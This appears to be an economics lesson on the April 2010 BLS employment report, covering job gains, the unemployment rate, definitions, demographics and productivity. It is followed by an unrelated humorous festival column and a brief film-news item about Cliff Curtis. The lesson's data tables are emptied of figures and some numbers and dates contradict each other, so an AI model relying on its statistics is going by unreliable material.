The BLS compiles information from these sources and announces the monthly "Employment Situation," reporting the current U.S. employment and unemployment data estimates. The monthly announcement reports employment data from the previous full month.
This lesson is about the May 7, 2010, BLS announcement, "Employment Situation: April 2010." This lesson will also look at the recent history of employment and unemployment data.
- Review the most recently reported U.S. employment and unemployment data.
- Determine the changes in U.S. employment and unemployment from the past month and year.
- Determine the factors that have influenced the change in the U.S. unemployment rate.
- Explain the implications of the employment and unemployment data for individuals, population groups, and the U.S. economy.
How Can It Be? More Jobs and Higher Unemployment?
The U.S. economy created almost 300,000 new jobs in April, but the unemployment rate increased.
Apparently, there is more to the story than just the total number of jobs and the rate of unemployment. Take a closer look at the April 2010 employment data and find out why.
The Employment Report – April 2010
U.S. Bureau of Labor Statistics
Released: May 7, 2010
"Nonfarm payroll employment rose by 290,000 in April, the unemployment rate edged up to 9.9 percent, and the labor force increased sharply, the U.S. Bureau of Labor Statistics reported today. Job gains occurred in manufacturing, professional and business services, health care, and leisure and hospitality. Federal government employment also rose, reflecting continued hiring of temporary workers for Census 2010."
Not only did the number of jobs increase by 290,000 in April, but the BLS also revised the February jobs number from a loss of 14,000 jobs to a gain of 39,000. The January estimate was an increase of 14,000 jobs. In total, the economy has created 573,000 jobs so far in 2010. More good news is that a large majority, 231,000, of the new jobs were in the private sector. The federal government also added jobs, including 66,000 temporary census worker jobs.
Household Survey Data - Unemployment
"In April, the number of unemployed persons was 15.3 million, and the unemployment rate edged up to 9.9 percent. The rate had been 9.7 percent for the first 3 months of this year."
Figure 1, below, shows the monthly U.S. unemployment rates from 1990 through April, 2010. Note the high points of unemployment in 1991, 2003, and 2009, consistent with the troughs of recessions. The low unemployment rates in 1990, 2000 and 2008 roughly indicate the peaks of business cycles. The highest level of the unemployment rate during the current recession was 10.1 percent in October, 2009.
Figure 2, below, summarizes the key employment and unemployment data for March and April, 2010, also indicating the monthly changes. Note that although more jobs were created, the size of the labor force increased by much more. Thus, an increase in the unemployment rate.
|Figure 2: Employment Status
March and April 2010
|March 2010
|April 2010
|Civilian non-institutionalized population
|Civilian Labor Force
|Participation Rate
|Employment- Population Ratio
|Unemployment Rate
|Not in Labor Force
|Persons who currently want a job
Determining the Unemployment Rate
Remember that the unemployment rate is the number of unemployed divided by the labor force. The U.S. labor force increased by 805,000 persons from March to April, 2010. The number of unemployed persons actually increased by 255,000 in April because a large number of those who entered (or reentered) the labor force did not find employment in April. Perhaps the fact that they are now looking for work is a positive sign of optimism among those who had previously given up looking for a job.
|Number of unemployed persons in March, 2010
|Total size of the labor force in March, 2010
|Unemployment Rate in March, 2010
|Number of Unemployed Persons in April, 2010
|Total Size of the Labor Force in April, 2010
|Unemployment Rate in April, 2010
Figure 3, below, shows the key U.S. employment and unemployment data for the period of November, 2008 (just prior to the official beginning of the current recession) through April, 2010. Note the data for the month with the highest unemployment rate, October, 2009.
|Figure 3: Employment Status
November 2008 - April 2010
Selected Months
|Nov. 2008
|Ap. 2009
|Oct. 2009
|Apr. 2010
|Civilian Non-institutionalized Population
|Civilian Labor Force
|Participation Rate
|Employment-Population Ratio
|Unemployment Rate
|Not in Labor Force
|Persons Who Currently Want a Job
Key Labor Market Definitions
As a reminder, the following are the definitions of the key categories used to report employment and unemployment data from the BLS "Employment Report." These definitions are from the BLS "Glossary."
- Civilian non-institutionalized population: Included are persons 16 years of age and older residing in the 50 States and the District of Columbia who are not inmates of institutions (for example, penal and mental facilities, homes for the aged), and who are not on active duty in the Armed Forces.
- Civilian labor force: The labor force includes all persons classified as employed or unemployed (16 and over, non-institutionalized).
- Labor force participation rate: The labor force as a percent of the civilian non-institutional population.
- Employed Persons: Persons 16 years and over in the civilian non-institutional population who, during the reference week, (a) did any work at all (at least 1 hour) as paid employees; worked in their own business, profession, or on their own farm, or worked 15 hours or more as unpaid workers in an enterprise operated by a member of the family (plus those temporarily absent absent from employment.)
- Employment-population ratio: The proportion of the civilian non-institutional population aged 16 years and over that is employed.
- Unemployed: Persons aged 16 years and older who had no employment during the reference week, were available for work, except for temporary illness, and had made specific efforts to find employment sometime during the 4 week period ending with the reference week. Persons who were waiting to be recalled to a job from which they had been laid off need not have been looking for work to be classified as unemployed.
- Unemployment rate: The unemployment rate represents the number unemployed as a percent of the labor force.
- Not in labor force: Includes persons aged 16 years and older in the civilian non-institutional population who are neither employed nor unemployed in accordance with the definitions contained in this glossary. Information is collected on their desire for and availability for work, job search activity in the prior year, and reasons for not currently searching.
- Persons who currently want a job: Persons who want a job, have searched for work during the prior 12 months, and were available to take a job during the reference week, but had not looked for work in the past 4 weeks.
|Unemployment Rates in April 2010
by Demographic Groups
|April 2010
|Adult Men
|Adult Women
Unemployment continues to be unevenly distributed among racial groups and age levels. Young workers are more than twice as likely to be unemployed than workers over 24 tears of age. The unemployment rate for Blacks/African Americans significantly exceeds other racial groups.
An interesting note about the Hispanic/Latino population. The unemployment rate for the U.S. Hispanic/Latino population decreased by 0.1% in April, 2010. A closer look at the data shows that although the overall U.S. Hispanic/Latino population increased, the Hispanic/Latino labor force shrunk by 102,000 workers. At the same time, employment of the Hispanic/Latino population increased in April by 222,000. A smaller labor force and more employment equals a lower unemployment rate for the group.
|Unemployment by Educational Attainment
(25 years and over)
|April 2010
|All persons 25 and over
|Less than a HS diploma
|HS Graduates
|Some College (Associate's Degree)
|Bachelor's Degree or Higher
Education is a strong indicator of potential for unemployment. There is a clear relationship between educational attainment and unemployment rates. The more education you have, the less chance of unemployment. What is a high school diploma worth? You will make more income, for sure (on average), but also a greatly decreased risk of unemployment.
|Reasons for Unemployment
|April 2009
|Job losers and persons who completed temporary jobs
|Job Leavers
|New Entrants
BLS Comment: "Among the unemployed, the number of reentrants to the labor force rose by 195,000 over the month."
|Duration of Unemployment
|April 2010
|Less than 5 weeks
|5 - 14 weeks
|15 - 26 weeks
|27 weeks or over
BLS Comments: "The number of long-term unemployed (those jobless for 27 weeks and over) continued to trend up over the month, reaching 6.7 million. In April, 45.9 percent of unemployed persons had been jobless for 27 weeks or more."
|Employed Persons at Work Part-Time
|April 2010
|Part-time for economic reasons
|Slack work or business conditions
|Could only find part-time work
|Part-time for non-economic reasons
| Persons Not in the Labor Force
(Not seasonally adjusted)
|April 2010
|Marginally attached to the labor force
|Discouraged workers
BLS Comments: "The number of persons employed part time for economic reasons (sometimes referred to as involuntary part-time workers) was about unchanged at 9.2 million in April. These individuals were working part time because their hours had been cut back or because they were unable to find a full-time job."
"About 2.4 million persons were marginally attached to the labor force in April, compared with 2.1 million a year earlier. (The data are not seasonally adjusted.) These individuals were not in the labor force, wanted and were available for work, and had looked for a job sometime in the prior 12 months. They were not counted as unemployed because they had not searched for work in the 4 weeks preceding the survey."
"Among the marginally attached, there were 1.2 million discouraged workers in April, up by 457,000 from a year earlier. (The data are not seasonally adjusted.) Discouraged workers are persons not currently looking for work because they believe no jobs are available for them. The remaining 1.2 million persons marginally attached to the labor force had not searched for work in the 4 weeks preceding the survey for reasons such as school attendance or family responsibilities."
Employment - Establishment Survey Data
BLS Comment: "In April, nonfarm payroll employment rose by 290,000. Sizable employment gains occurred in manufacturing, professional and business services, health care, and in leisure and hospitality. Federal government employment increased due to the hiring of temporary workers for Census 2010. Since December, nonfarm payroll employment has expanded by 573,000, with 483,000 jobs added in the private sector. The vast majority of job growth occurred during the last 2 months.
|Change in Employment by Industry Sector
April 2010
|Professional and Business Services
|Health Care
|Leisure and Hospitality
|Government (All levels)
|Wholesale Trade
|Retail Trade
|Financial Activities
|Transportation and Warehousing
Average Workweek, April 2010
BLS Comment: "In April, the average workweek for all employees on private nonfarm payrolls increased by 0.1 hour to 34.1 hours. The manufacturing workweek for all employees increased by 0.2 hour for the second straight month to 40.1 hours, and factory overtime was up by 0.1 hour over the month. The average workweek for production and nonsupervisory employees on private nonfarm payrolls increased by 0.1 hour to 33.4 hours in April."
Hourly Earnings, April 2010
BLS Comment: "Average hourly earnings of all employees in the private nonfarm sector increased by 1 cent to $22.47 in April. Over the past 12 months, average hourly earnings have increased by 1.6 percent. In April, average hourly earnings of private-sector production and nonsupervisory employees increased by 5 cents to $18.96."
Detailed Online Resources – Employment Report
Click on these BLS links for more details from the May 6, 2010 Employment Report.
- Employment Situation Summary Table A. Household data, seasonally adjusted
- Employment Situation Summary Table B. Establishment data, seasonally adjusted
- Employment Situation Frequently Asked Questions
- Table A-1. Employment status of the civilian population by sex and age
- Table A-2. Employment status of the civilian population by race, sex, and age
- Table A-3. Employment status of the Hispanic or Latino population by sex and age
- Table A-4. Employment status of the civilian population 25 years and over by educational attainment
- Table A-5. Employment status of the civilian population 18 years and over by veteran status, period of service, and sex, not seasonally adjusted
- Table A-6. Employment status of the civilian population by sex, age, and disability status, not seasonally adjusted
- Table A-7. Employment status of the civilian population by nativity and sex, not seasonally adjusted
- Table A-8. Employed persons by class of worker and part-time status
- Table A-9. Selected employment indicators
- Table A-10. Selected unemployment indicators, seasonally adjusted
- Table A-11. Unemployed persons by reason for unemployment
- Table A-12. Unemployed persons by duration of unemployment
- Table A-13. Employed and unemployed persons by occupation, not seasonally adjusted
- Table A-14. Unemployed persons by industry and class of worker, not seasonally adjusted
A Note about Productivity
How can the U.S. economy increase its output with fewer jobs? The answer is productivity. According to the BLS, labor productivity or output per hour, "is calculated by dividing an index of real output by an index of hours of all persons, including employees, proprietors, and unpaid family workers." When a nation's economy is more productive, it can increase its output of goods and services with fewer hours worked. The BLS also reports monthly on labor productivity – estimates for each fiscal quarter. The most recent report, released March 6, 2010, focused on labor productivity for the first quarter (January-March) of 2010.
Productivity and Costs, First Quarter 2010 (Preliminary)
U.S. Bureau of Labor Statistics
Released: May 6. 2010
"Nonfarm business sector labor productivity increased at a 3.6 percent annual rate during the first quarter of 2010, the U.S. Bureau of Labor Statistics reported today, with output rising 4.4 percent and hours worked rising 0.8 percent. (All quarterly percent changes in this release are seasonally adjusted annual rates.) From the first quarter of 2009 to the first quarter of 2010, output increased 3.1 percent while hours fell 3.0 percent, yielding an increase in productivity of 6.3 percent.
During the last year, U.S. labor productivity has increased at a rapid pace by historical standards. The BLS added this comment. "This gain in productivity from the same quarter a year ago was the largest since output per hour increased 7.0 percent over the four-quarter period ending in the first quarter of 1962."
Increased productivity also impacts unit production costs. "Unit labor costs in nonfarm businesses fell 1.6 percent in the first quarter of 2010, as the 3.6 percent increase in productivity outpaced a 1.9 percent gain in hourly compensation. Unit labor costs fell 3.7 percent over the last four quarters, as the 6.3 percent increase in productivity outpaced a 2.3 percent rise in hourly compensation. Those who were working during this period of recession earned more income and produced even more output.
The BLS defines unit labor costs as "the ratio of hourly compensation to labor productivity; increases in hourly compensation tend to increase unit labor costs and increases in output per hour tend to reduce them." The net effect for the past year was lower unit costs.
The BLS cited manufacturing as an example. "Manufacturing sector productivity grew 2.5 percent in the first quarter of 2010, as output rose 7.5 percent and hours worked increased 4.9 percent, the first increase in hours since the second quarter of 2007. Gains in productivity, output, and hours were each larger in the durable goods sector than in the nondurable goods sector. Unit labor costs in manufacturing declined 3.7 percent in the first quarter of 2010 and fell 6.1 percent over the last four quarters. The four-quarter decline was the largest in the series, which begins in the first quarter of 1988."
Full historical annual and quarterly measures are available on the Labor and Productivity Costs home page.
Detailed Online Resources – Productivity and Costs Report
Click on these BLS links for more details from the May 6, 2010 Productivity and Costs Report.
- Table 1. Business sector: Productivity, hourly compensation, unit labor costs, and prices, seasonally adjusted
- Table 2. Nonfarm business sector: Productivity, hourly compensation, unit labor costs, and prices, seasonally adjusted
- Table 3. Manufacturing sector: Productivity, hourly compensation, and unit labor costs, seasonally adjusted
- Table 4. Durable manufacturing sector: Productivity, hourly compensation, and unit labor costs, seasonally adjusted
- Table 5. Nondurable manufacturing sector: Productivity, hourly compensation, and unit labor costs, seasonally adjusted
- Table 6. Nonfinancial corporate sector: Productivity, hourly compensation, unit labor costs, unit profits, and prices, seasonally adjusted
In April, the U.S. unemployment rate increased for all of the right reasons. The labor force increased in size by 805,000 persons - possibly indicating that many of those who had left the labor market are now more optimistic about finding a job. The U.S. economy created 290,000 jobs, the biggest monthly increase in employment since March of 2006.
Link: Historical Changes in Employment
In 2008 and 2009, the U.S. economy lost over 8.3 million jobs. Even with an increase of 563,000 jobs in the first four months of 2010, it may take a long time to revver to the pre-recession level of employment.
In the first quarter of 2010, the U.S. real gross domestic product increased by 3.2 percent, after an increase of 5.6 percent in the last quarter of 2009. Output seems to be increasing more quickly than employment - perhaps a "jobless recovery."
The National Bureau of Economic Research has yet to declare the business cycle to have reached a peak. Watch the news for an NBER business cycle announcement. In the meantime, look for your own evidence of an economic recovery.
Next, complete the essay questions below on the interactive notepad.
How are changes in real GDP and the unemployment rate related?
- What does the "unemployment rate" reported monthly by the Bureau of Labor Statistics tell you about the economy? Is it an accurate measurement of the "health" of the economy?
The U.S. Bureau of Labor Statistics publishes a variety of reports on current issues in labor markets and labor market data. The April, 2009, online edition of "Issues in Labor Statistics" included a report called, "Ranks of Discouraged Workers and Others Marginally Attached to the Labor Force Rise During Recession ." This report addressed the long-standing issue of the importance of including discouraged and marginally attached workers in determining the real level of unemployment.
Read the report. Summarize the arguements for including discouraged and marginally attached workers in the labor force and the officially reported unemployment rate. Should the discouraged or marginally attached workers be counted as unemployed? What does the increase in the number of discouraged and marginally attached workers mean for our economy?


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I FAILED as a hippie. I couldn't cut it because I couldn't roll a joint. My lover named Bendy Rainbow (really Robyn Watson who lived in the same commune in Belgrave) informed me she was dropping me because there was too much slag in the joints I tried to make. I wasn't downcast because she wasn't funny and resembled her mother.
Last year I felt that old hippie hang-up again at the Golden Plains Festival, which is coming up soon at Meredith, which is prettier than Preston.
I was being escorted delicately onto the colossal stage by friendly staff towards the microphone to read a poem to a multitude. I could see the joint with the slag in it.
But amazingly the whole experience was bewitching in the extreme and the enormous crowd were far-out; and I was far-out with them. I talked about Vincent Van Gogh eating a two-pound tube of oil paint in a fancy paint shop because he felt like it. I talked about art's secret meaning. I made up stories and I saw hippies again and revived merchant bankers with geraniums in their hair.
I talked to 10,000 souls with a nonchalant manner, I think it's called letting go, and after I got the clap - I don't mean it the way it sounds - I went and paid my respects to various heavy metal bands that sounded like triumph or Triumph motor bikes to me.
On the way to the festival I was driven past Meredith Primary School, which looked like a green scene out of Under Milk Wood. I have never seen anything lovelier apart from a smile I once saw on my baby son. I felt like I knew everyone at Golden Plains, and possibly I did, in a dream.
Booze was sipped not guzzled. There were police and some of them danced to Machine Gun Fellatio.
I watched lots of fantastic bands and ate bread made of ideas.
I was driven home by two delightful, positive psychologists who spoke the same language as me, which is a mixture of hope and happiness.
At home I had tea in front of the television as though I'd never been to Woodstock, which was how it felt, although it was in Meredith and not upstate New York.
The seventh annual Golden Plains Festival is at Meredith Supernatural Amphitheatre from March 9-11.


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Twelve years ago, Cliff Curtis played the father of Keisha Castle-Hughes in the acclaimed film Whale Rider.
Four years later, Castle-Hughes played the Virgin Mary in The Nativity Story.
Now comes word that Curtis may — may — be playing Mary's son Jesus in Clavius, in which a Roman centurion investigates reports of the Resurrection.
It's all speculation at this point. But Thompson on Hollywood, speaking to Curtis about another film at the Toronto film festival, mentions that Curtis is something of a method actor, and that he refuses to talk during interviews right now (though he will gesture with his hands and write notes on his laptop) because he is currently playing "a man of God … who speaks only of God," in Curtis's words.


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